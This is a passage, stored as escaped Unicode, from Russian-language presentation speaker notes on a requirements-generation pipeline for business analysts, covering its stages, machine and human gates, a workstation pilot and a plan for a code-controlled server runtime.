\u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% 